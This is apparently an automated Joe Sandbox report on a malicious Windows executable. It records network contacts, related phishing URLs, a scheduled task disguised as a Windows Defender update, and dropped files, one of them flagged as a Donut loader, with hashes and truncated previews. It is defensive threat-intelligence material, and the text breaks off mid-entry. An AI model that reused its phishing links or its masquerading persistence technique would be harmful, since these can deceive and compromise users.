IP	Domain	Country	Flag	ASN	ASN Name	Malicious
43.153.232.151	unknown	Japan		4249	LILLY-ASUS	false
43.152.64.207	sgp.file.myqcloud.com	Japan		4249	LILLY-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1481846
Start date and time:	2024-07-25 15:12:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LisectAVT_2403002B_295.exe
Detection:	MAL
Classification:	mal80.evad.winEXE@5/20@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 102 Number of non-executed functions: 54
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: LisectAVT_2403002B_295.exe

Simulations

Behavior and APIs

Time	Type	Description
15:13:59	Task Scheduler	Run new task: Windows Defender update path: C:\Program Files (x86)\Windows Defenders\update.exe s>1

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
43.153.232.151	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse
	https://docs.google.com/forms/d/e/1FAIpQLSd_bMMDEWSSp-iRMafeGAWTfMTpG6IiqHpDoivX_zCH9lj_Zw/viewform	Get hash	malicious	HTMLPhisher	Browse
	https://vtcorporatelawyer-1321712386.cos.ap-singapore.myqcloud.com/vtcorporatelawyer.html	Get hash	malicious	HTMLPhisher	Browse
	https://kj8vfy3vivc1fhu-1320008508.cos.ap-singapore.myqcloud.com/kj8vfy3vivc1fhu.html	Get hash	malicious	HTMLPhisher	Browse
43.152.64.207	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse
	Complete Doc_ Notifier - ID #2378936496.eml	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAF8OGGfhO8/R6YCNNVrsg2_7X2EE7u58g/view?utm_c_ontent_=DAF8OGGfhO8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse
	https://raleighhzonvetonlmcco.atlassian.net/wiki/external/MWQwOGRkM2JjODZiNDNiYWE1ZTk0NWU4NzU4ZTcyOGE	Get hash	malicious	Unknown	Browse
	https://wrightbeveragedistributing.sharefile.com/public/share/web-01fe49682dde4af5	Get hash	malicious	HTMLPhisher	Browse
	https://airtable.com/appaZCPEWVRuogU6k/shryk2nj8F4m42HYK	Get hash	malicious	HTMLPhisher	Browse
	Gadellnet-Thursday December 2023.html	Get hash	malicious	HTMLPhisher	Browse
	https://2idqb1wpk99m-1322892769.cos.ap-singapore.myqcloud.com/2idqb1wpk99m.html?e=bcooper@locktonaffinity.com'	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAFzsFH_s3M/A7FKQ2URuwTM6OjfkBezHQ/view?utm_content=DAFzsFH_s3M&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sgp.file.myqcloud.com	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.152.64.207
	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.153.232.152
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.193
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.207
	LisectAVT_2403002C_57.exe	Get hash	malicious	Unknown	Browse	43.152.64.193
	LisectAVT_2403002C_57.exe	Get hash	malicious	Unknown	Browse	43.153.232.152
	https://docs.google.com/presentation/d/e/2PACX-1vRohTcL0scSvPTUjrKWcVmyILi9jTVB0uhYEMgOqhUUgmUBldmrlihahC-89vk0R9QgPxfjip6DFmJL/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://v02i29jwyl-1324277188.cos.ap-singapore.myqcloud.com/v02i29jwyl.html	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://docs.google.com/presentation/d/e/2PACX-1vRLd0kcVFz9h2YfkJ5nqT-SOn8rPnsID4V6KoblagKxsqmWxdzqw58DZbzyFQwP58roXNGiXOHm3hC-/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.152.64.207
	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.153.232.152
	LisectAVT_2403002B_429.exe	Get hash	malicious	Bdaejec	Browse	43.152.29.63
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse	43.152.29.72
	LisectAVT_2403002B_447.exe	Get hash	malicious	Unknown	Browse	43.152.28.43
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse	43.152.26.154
	arm7.elf	Get hash	malicious	Mirai	Browse	40.26.180.140
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.193
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.207
LILLY-ASUS	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.152.64.207
	LisectAVT_2403002B_321.exe	Get hash	malicious	Unknown	Browse	43.153.232.152
	LisectAVT_2403002B_429.exe	Get hash	malicious	Bdaejec	Browse	43.152.29.63
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse	43.152.29.72
	LisectAVT_2403002B_447.exe	Get hash	malicious	Unknown	Browse	43.152.28.43
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse	43.152.26.154
	arm7.elf	Get hash	malicious	Mirai	Browse	40.26.180.140
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.193
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse	43.152.64.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	LisectAVT_2403002B_311.exe	Get hash	malicious	XRed	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_318.exe	Get hash	malicious	XRed	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_327.exe	Get hash	malicious	XRed	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_331.exe	Get hash	malicious	Unknown	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_343.exe	Get hash	malicious	XRed	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_344.exe	Get hash	malicious	Bdaejec, Vidar	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_356.exe	Get hash	malicious	Unknown	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_356.exe	Get hash	malicious	Unknown	Browse	43.153.232.151 43.152.64.207
	LisectAVT_2403002B_394.exe	Get hash	malicious	GuLoader	Browse	43.153.232.151 43.152.64.207

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\Bandicam\msvcp120.dll	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_78.exe	Get hash	malicious	Unknown	Browse
	3vS3F5eukR.exe	Get hash	malicious	Unknown	Browse
	3vS3F5eukR.exe	Get hash	malicious	Unknown	Browse
	eWIIsxIoe5.exe	Get hash	malicious	Unknown	Browse
	eWIIsxIoe5.exe	Get hash	malicious	Unknown	Browse
	CloudInstaller.zip	Get hash	malicious	Unknown	Browse
	lookworldafs1244.msi	Get hash	malicious	Unknown	Browse
	KuaiVpn-n.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\Bandicam\4.bin

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	data
Category:	dropped
Size (bytes):	35592
Entropy (8bit):	7.105535426397013
Encrypted:	false
SSDEEP:	768:NxpI5DfjtTC7Z9iDtPZxFboqcS7iKGztVuanh8w2OfJ7ejaP6yEqzeGO0gf:Nx25DbRCqlZDboqcS7i9u6yeNejY6yFu
MD5:	E6B74DD44C465D628CA70EB30C79CC46
SHA1:	802606EC38D33C6CEAF2D000430240D1FBE3C7DD
SHA-256:	FC6D881A780769146097B1B78DE51DDDBE83DBD6D0F6BAF539E8E9F101EF2F40
SHA-512:	9EF8478DA3766411D600650B6CB8771E25F7F07F3352CE36EE46CFB3BD1E7B178757A8BA4236AD8DD57F80B6DC5A4EE5578F65E895AF2DD837139472BC1AB385
Malicious:	false
Yara Hits:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: C:\Program Files (x86)\Bandicam\4.bin, Author: unknown
Reputation:	low
Preview:	..(...(...T.h..T:2..........2.........n.........B`.4?x.L.B...9}...IL..#..D..\.g..q..<.m.h..t"..qU.3.+..,.....}.=IA...v..Q.)...~.[..:.=.4.u...v.~..Qm.{..G.no.V....Z.3%.."..A..Bo.<.m...IG.k6y.O.`Z.a.UN;..Gw.`...7$7\|.\..Y.....b(T.`.gl..._D.....;......1.....c........6#.J.).lU..D..L...7...n...m....F?!...w\|.B]v.o...."9.\|.}..<...@....<..........].u.hx...x.x.Q.).=.h.d.Y.:..w...6.7..v..%.[....O./..Gx.d.y..o0 {.b.q.\|...8b~36\p.=..Jk.\...,\K....x...qf^.e1...h../.......P_..x...%.5..c.).[.....]!e.DC.3.w...:t!...g.r.S... +....UG(1[.Q.........................k..(..0R.W`.j.$..W....q..._.zh.I....9..K.......).....m@D../$..3..a.Q...[.2..'(.-..@...6ZN.X...Dv.d.32....>..$.....D(.1..ML...Xc.._&M.alc.'v....,.......L..j..)jVL.T.%8..E.Q.L.....BZ..'z./.....<{.#P.m.l"d..i8...vS7.lL.wF.=.....y._w.9.$.g8A.. .;=.........QIB...R'wt..T..aO...\|.sb.i).+......y..1g........3O....T.uw.X"....5...J...9.._Y.b..K..E.!.r.9.A.S.ZF..q.b.i..$y!.... ...Z.....`...._i..a....e@..."@@K._.

C:\Program Files (x86)\Bandicam\QT.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	58616
Entropy (8bit):	6.397567549398215
Encrypted:	false
SSDEEP:	768:XUcCkLzaaVjtU1r2I1fk3EsQLmzD1lnmeR4fsb4F8lsKBSY5Ek672iRGp9E+wcYT:Ecb9jULlu4LY1lme4OtBbEk672ioQ+v
MD5:	B677B668B57C1F8840397C23854A296F
SHA1:	35F3FD94BFA6AA92AD9A89068990E5106B9FD620
SHA-256:	7F6D518D78E1E2690EC8410D8DC4CB826BDF6EE3AA3BE84E38ED3806ADE4449B
SHA-512:	1890549CF5F083BB738CA917DFEA6D3B69B238A7155D1FD820C8C92C1521630B7F7A1D0F877F9677ACA30F3675F051B8F44FCB542B3EE0E7F5A94CF7E83755E6
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;..3...`...`...`.~.`~..`r.6`}..`r..`l..`r..`{..`r.4`{..`.@4`}..`v.z`z..`...`4..`.@.`}..`r.2`~..`..~`}..`.@7`~..`Rich...`................PE..L..."..a..........".................t".......0....@..................................5....@..................................8..x....`...................&..........p1..8............................5..@............0..<............................text...+........................... ..`.rdata..L....0....... ..............@..@.data...l....P.......2..............@....rsrc........`.......4..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Bandicam\msvcp120.dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455328
Entropy (8bit):	6.698367093574994
Encrypted:	false
SSDEEP:	12288:uZ/8wcqw2oe+Z3VrfwfNOOoWhUgiW6QR7t5ss3Ooc8DHkC2e77/:W/8wVwHZFTwFOOos3Ooc8DHkC2e77/
MD5:	FD5CABBE52272BD76007B68186EBAF00
SHA1:	EFD1E306C1092C17F6944CC6BF9A1BFAD4D14613
SHA-256:	87C42CA155473E4E71857D03497C8CBC28FA8FF7F2C8D72E8A1F39B71078F608
SHA-512:	1563C8257D85274267089CD4AEAC0884A2A300FF17F84BDB64D567300543AA9CD57101D8408D0077B01A600DDF2E804F7890902C2590AF103D2C53FF03D9E4A5
Malicious:	false
Joe Sandbox View:	Filename: LisectAVT_2403002B_78.exe, Detection: malicious, Browse Filename: LisectAVT_2403002B_78.exe, Detection: malicious, Browse Filename: 3vS3F5eukR.exe, Detection: malicious, Browse Filename: 3vS3F5eukR.exe, Detection: malicious, Browse Filename: eWIIsxIoe5.exe, Detection: malicious, Browse Filename: eWIIsxIoe5.exe, Detection: malicious, Browse Filename: CloudInstaller.zip, Detection: malicious, Browse Filename: lookworldafs1244.msi, Detection: malicious, Browse Filename: KuaiVpn-n.msi, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+.N+.N+.N.3wN).N+.N..Nm.aN(.Nm.cN#.Nm.]N..Nm.\Ne.Nm.YN-.Nm.`N.Nm.gN.Nm.bN*.NRich+.N........................PE..L....\|OR.........."!.........................0.......................................x....@..........................W..L...<...<........................>.......D...................................K..@...............<............................text...<........................... ..`.data....^...0...0... ..............@....idata...............P..............@..@.rsrc................j..............@..@.reloc...D.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Bandicam\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446840
Entropy (8bit):	6.690279428020546
Encrypted:	false
SSDEEP:	12288:5mtyWf0sTWRzbpT/tD5YpsGx30h7whUgiW6QR7t5s03Ooc8dHkC2es98R:A0HsTWRzbp5D5YpsM3A7v03Ooc8dHkCh
MD5:	C766CA0482DFE588576074B9ED467E38
SHA1:	5AC975CCCE81399218AB0DD27A3EFFC5B702005E
SHA-256:	85AA8C8AB4CBF1FF9AE5C7BDE1BF6DA2E18A570E36E2D870B88536B8658C5BA8
SHA-512:	EE36BC949D627B06F11725117D568F9CF1A4D345A939D9B4C46040E96C84159FA741637EF3D73ED2D01DF988DE59A573C3574308731402EB52BAE2329D7BDDAC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.$...w...w...w.\.v...w.V@w...w..v...w...w...w..v...w..v...w..vD..w..v...w.,w...w..v...wRich...w........................PE..L....4.w.........."!...&.....z...............0.......................................=....@A.........................S......8c..........................xO.......4...U..T...........................8U..@............`..0............................text...b........................... ..`.data....&...0......................@....idata..0....`.......0..............@..@.rsrc................H..............@..@.reloc...4.......6...L..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Bandicam\msvcr120.dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Bandicam\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91104
Entropy (8bit):	6.919609919273454
Encrypted:	false
SSDEEP:	1536:wd5wd+ywOpmlhcsrG4ckZEzH3qDLItnTwfVkC2KecbGJ13yd+zTNFZFzK:wdJywOpmlPrHI6D+nTwvlecbG/3y8XG
MD5:	9C133B18FA9ED96E1AEB2DA66E4A4F2B
SHA1:	238D34DBD80501B580587E330D4405505D5E80F2
SHA-256:	C7D9DFDDBE68CF7C6F0B595690E31A26DF4780F465D2B90B5F400F2D8D788512
SHA-512:	D2D588F9940E7E623022ADEBEBDC5AF68421A8C1024177189D11DF45481D7BFED16400958E67454C84BA97F0020DA559A8DAE2EC41950DC07E629B0FD4752E2F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................2........I..............o.......o.......o.......o.......o%......o......Rich............PE..L....s............"!...&............P........................................P...........@A........................@........ .......0...................O...@.......$..T............................#..@............ ...............................text...T........................... ..`.data...d...........................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Bandicam\x32bridge.dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	576496
Entropy (8bit):	5.894138416830209
Encrypted:	false
SSDEEP:	12288:vTx5KRZ18xtSP+szdcIugOO50MMEMOkPM2:kmxtSP+sJ+O5FWPPt
MD5:	A397EDEDAA5AEEE4632E3A0F531B6417
SHA1:	D78A158E101A829C2A9555A870005AE1C4CDC344
SHA-256:	1711F262ADF7D6B3A3D0451F6F78D801E9AF76D0F61BA2C66C29D3EFF6A23C4C
SHA-512:	95FC81C0816BE8F5E2B3269E0C86E52F200E737989B89020F116E671DDC8B66801669FFB91927CABFCCE22D4DB8844C67903E6B371E539CD45593B2582171859
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=...n...n...n..jn...nh..o...nh..o...nh..o...nh..o...n...o...n...n..nE..o...nE..o...nE..n...n..nn...nE..o...nRich...n........PE..L...f..e...........!...'.,.........../.......@............................................@..........................O..`...pO.......p...U......................P...HD..p............................C..@............@...............................text....+.......,.................. ..`.rdata.......@... ...0..............@..@.data........`.......P..............@....rsrc....U...p...V...T..............@..@.reloc..P...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LisectAVT_2403002B_295.exe.log

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	4077
Entropy (8bit):	5.351303423945478
Encrypted:	false
SSDEEP:	96:iqlYqh3oEFxtIIVMcCgAhMFKrJcqFfr0U1tI6eqzNqMRniAqU57UMq4hS:iqlYqh37IIVMvJcq5dtI6eqzNqM51qUA
MD5:	BDC14B6EA42EEA6E0D8B536DBC9DCDB0
SHA1:	EEEDB8B60B2FC49C9D12D1FD267146AFF55E6ECC
SHA-256:	CDE89D8254F2C6AF2FC1F4F12A8CB77401543F5BE05EE6080518F47DF73FA014
SHA-512:	0CDCDE0E18F1C36DA7525FA8FE463720103245E97194D9C86E515F7374C425228DBFCFF22148AC46AD50BFABE2CB0FCC6B90118833777D35CA6F183C09B7F68F
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\7ae6ae69c7471e5e034a046629402c6a\System.Management.Automation.ni.dll",0..3,"Microsoft.PowerShell.Commands.Diagnostics, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P1706cafe#\5484a7638cf633fd03f0dcd66df5a16d\Microsoft.PowerShell.Commands.Diagnostics.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	data
Category:	dropped
Size (bytes):	35592
Entropy (8bit):	7.105535426397013
Encrypted:	false
SSDEEP:	768:NxpI5DfjtTC7Z9iDtPZxFboqcS7iKGztVuanh8w2OfJ7ejaP6yEqzeGO0gf:Nx25DbRCqlZDboqcS7i9u6yeNejY6yFu
MD5:	E6B74DD44C465D628CA70EB30C79CC46
SHA1:	802606EC38D33C6CEAF2D000430240D1FBE3C7DD
SHA-256:	FC6D881A780769146097B1B78DE51DDDBE83DBD6D0F6BAF539E8E9F101EF2F40
SHA-512:	9EF8478DA3766411D600650B6CB8771E25F7F07F3352CE36EE46CFB3BD1E7B178757A8BA4236AD8DD57F80B6DC5A4EE5578F65E895AF2DD837139472BC1AB385
Malicious:	false
Yara Hits:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin, Author: unknown
Preview:	..(...(...T.h..T:2..........2.........n.........B`.4?x.L.B...9}...IL..#..D..\.g..q..<.m.h..t"..qU.3.+..,.....}.=IA...v..Q.)...~.[..:.=.4.u...v.~..Qm.{..G.no.V....Z.3%.."..A..Bo.<.m...IG.k6y.O.`Z.a.UN;..Gw.`...7$7\|.\..Y.....b(T.`.gl..._D.....;......1.....c........6#.J.).lU..D..L...7...n...m....F?!...w\|.B]v.o...."9.\|.}..<...@....<..........].u.hx...x.x.Q.).=.h.d.Y.:..w...6.7..v..%.[....O./..Gx.d.y..o0 {.b.q.\|...8b~36\p.=..Jk.\...,\K....x...qf^.e1...h../.......P_..x...%.5..c.).[.....]!e.DC.3.w...:t!...g.r.S... +....UG(1[.Q.........................k..(..0R.W`.j.$..W....q..._.zh.I....9..K.......).....m@D../$..3..a.Q...[.2..'(.-..@...6ZN.X...Dv.d.32....>..$.....D(.1..ML...Xc.._&M.alc.'v....,.......L..j..)jVL.T.%8..E.Q.L.....BZ..'z./.....<{.#P.m.l"d..i8...vS7.lL.wF.=.....y._w.9.$.g8A.. .;=.........QIB...R'wt..T..aO...\|.sb.i).+......y..1g........3O....T.uw.X"....5...J...9.._Y.b..K..E.!.r.9.A.S.ZF..q.b.i..$y!.... ...Z.....`...._i..a....e@..."@@K._.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\QT[1].exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	58616
Entropy (8bit):	6.397567549398215
Encrypted:	false
SSDEEP:	768:XUcCkLzaaVjtU1r2I1fk3EsQLmzD1lnmeR4fsb4F8lsKBSY5Ek672iRGp9E+wcYT:Ecb9jULlu4LY1lme4OtBbEk672ioQ+v
MD5:	B677B668B57C1F8840397C23854A296F
SHA1:	35F3FD94BFA6AA92AD9A89068990E5106B9FD620
SHA-256:	7F6D518D78E1E2690EC8410D8DC4CB826BDF6EE3AA3BE84E38ED3806ADE4449B
SHA-512:	1890549CF5F083BB738CA917DFEA6D3B69B238A7155D1FD820C8C92C1521630B7F7A1D0F877F9677ACA30F3675F051B8F44FCB542B3EE0E7F5A94CF7E83755E6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;..3...`...`...`.~.`~..`r.6`}..`r..`l..`r..`{..`r.4`{..`.@4`}..`v.z`z..`...`4..`.@.`}..`r.2`~..`..~`}..`.@7`~..`Rich...`................PE..L..."..a..........".................t".......0....@..................................5....@..................................8..x....`...................&..........p1..8............................5..@............0..<............................text...+........................... ..`.rdata..L....0....... ..............@..@.data...l....P.......2..............@....rsrc........`.......4..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91104
Entropy (8bit):	6.919609919273454
Encrypted:	false
SSDEEP:	1536:wd5wd+ywOpmlhcsrG4ckZEzH3qDLItnTwfVkC2KecbGJ13yd+zTNFZFzK:wdJywOpmlPrHI6D+nTwvlecbG/3y8XG
MD5:	9C133B18FA9ED96E1AEB2DA66E4A4F2B
SHA1:	238D34DBD80501B580587E330D4405505D5E80F2
SHA-256:	C7D9DFDDBE68CF7C6F0B595690E31A26DF4780F465D2B90B5F400F2D8D788512
SHA-512:	D2D588F9940E7E623022ADEBEBDC5AF68421A8C1024177189D11DF45481D7BFED16400958E67454C84BA97F0020DA559A8DAE2EC41950DC07E629B0FD4752E2F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................2........I..............o.......o.......o.......o.......o%......o......Rich............PE..L....s............"!...&............P........................................P...........@A........................@........ .......0...................O...@.......$..T............................#..@............ ...............................text...T........................... ..`.data...d...........................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp120[1].dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455328
Entropy (8bit):	6.698367093574994
Encrypted:	false
SSDEEP:	12288:uZ/8wcqw2oe+Z3VrfwfNOOoWhUgiW6QR7t5ss3Ooc8DHkC2e77/:W/8wVwHZFTwFOOos3Ooc8DHkC2e77/
MD5:	FD5CABBE52272BD76007B68186EBAF00
SHA1:	EFD1E306C1092C17F6944CC6BF9A1BFAD4D14613
SHA-256:	87C42CA155473E4E71857D03497C8CBC28FA8FF7F2C8D72E8A1F39B71078F608
SHA-512:	1563C8257D85274267089CD4AEAC0884A2A300FF17F84BDB64D567300543AA9CD57101D8408D0077B01A600DDF2E804F7890902C2590AF103D2C53FF03D9E4A5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+.N+.N+.N.3wN).N+.N..Nm.aN(.Nm.cN#.Nm.]N..Nm.\Ne.Nm.YN-.Nm.`N.Nm.gN.Nm.bN*.NRich+.N........................PE..L....\|OR.........."!.........................0.......................................x....@..........................W..L...<...<........................>.......D...................................K..@...............<............................text...<........................... ..`.data....^...0...0... ..............@....idata...............P..............@..@.rsrc................j..............@..@.reloc...D.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446840
Entropy (8bit):	6.690279428020546
Encrypted:	false
